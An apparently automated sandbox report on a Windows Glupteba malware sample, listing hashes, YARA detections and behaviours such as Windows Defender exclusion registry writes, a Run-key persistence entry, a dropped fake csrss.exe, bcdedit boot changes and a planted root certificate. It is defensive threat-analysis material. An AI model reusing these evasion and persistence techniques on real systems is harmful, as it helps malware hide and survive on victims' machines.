Analysis
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max time kernel
141s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
24-05-2022 22:22
Static task
static1
Behavioral task
behavioral1
Sample
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe
Resource
win7-20220414-en
General
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Target
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe
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Size
3.8MB
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MD5
9ac843f8a27565c4e21c8eb39b7d187e
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SHA1
f11d14d8853d00445a743f4a1922a0119aa27a14
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SHA256
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05
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SHA512
34aaf2142cf2f5334b652ac8a240fe77d4ffe4cdbf8eccc637acf65b54a4a9b356504184428b2397284c473d8e371c06cb6c6ea665113b23b52d25d8f2a12b3b
Malware Config
Signatures
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Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1880-56-0x0000000002DF0000-0x00000000034E5000-memory.dmp family_glupteba behavioral1/memory/1880-57-0x0000000000400000-0x0000000001002000-memory.dmp family_glupteba behavioral1/memory/1712-62-0x0000000000400000-0x0000000001002000-memory.dmp family_glupteba behavioral1/memory/1632-70-0x0000000000400000-0x0000000001002000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1632 csrss.exe 1092 patch.exe 1256 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 12 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exepatch.exepid process 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe 876 1092 patch.exe 1092 patch.exe 1092 patch.exe 1092 patch.exe 1092 patch.exe 1256 1092 patch.exe 1092 patch.exe 1092 patch.exe -
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\0df8f390cf80\0df8f390cf80 = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SummerResonance = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0df8f390cf80.exe = "0" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Windows\CurrentVersion\Run\SummerResonance = "\"C:\\Windows\\rss\\csrss.exe\"" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 680 bcdedit.exe -
Drops file in System32 directory 6 IoCs
Processes:
csrss.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 csrss.exe -
Drops file in Windows directory 5 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exemakecab.execsrss.exedescription ioc process File opened for modification C:\Windows\rss 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe File created C:\Windows\rss\csrss.exe 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe File created C:\Windows\Logs\CBS\CbsPersist_20220525002636.cab makecab.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1668 schtasks.exe 1604 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe -
Processes:
csrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.execsrss.exepid process 1880 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe 1632 csrss.exe 1632 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.execsrss.exedescription pid process Token: SeDebugPrivilege 1880 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Token: SeImpersonatePrivilege 1880 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe Token: SeSystemEnvironmentPrivilege 1632 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.execmd.execsrss.exedescription pid process target process PID 1712 wrote to memory of 1916 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe cmd.exe PID 1712 wrote to memory of 1916 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe cmd.exe PID 1712 wrote to memory of 1916 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe cmd.exe PID 1712 wrote to memory of 1916 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe cmd.exe PID 1916 wrote to memory of 1372 1916 cmd.exe netsh.exe PID 1916 wrote to memory of 1372 1916 cmd.exe netsh.exe PID 1916 wrote to memory of 1372 1916 cmd.exe netsh.exe PID 1712 wrote to memory of 1632 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe csrss.exe PID 1712 wrote to memory of 1632 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe csrss.exe PID 1712 wrote to memory of 1632 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe csrss.exe PID 1712 wrote to memory of 1632 1712 2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe csrss.exe PID 1632 wrote to memory of 680 1632 csrss.exe bcdedit.exe PID 1632 wrote to memory of 680 1632 csrss.exe bcdedit.exe PID 1632 wrote to memory of 680 1632 csrss.exe bcdedit.exe PID 1632 wrote to memory of 680 1632 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe"C:\Users\Admin\AppData\Local\Temp\2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe"C:\Users\Admin\AppData\Local\Temp\2ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
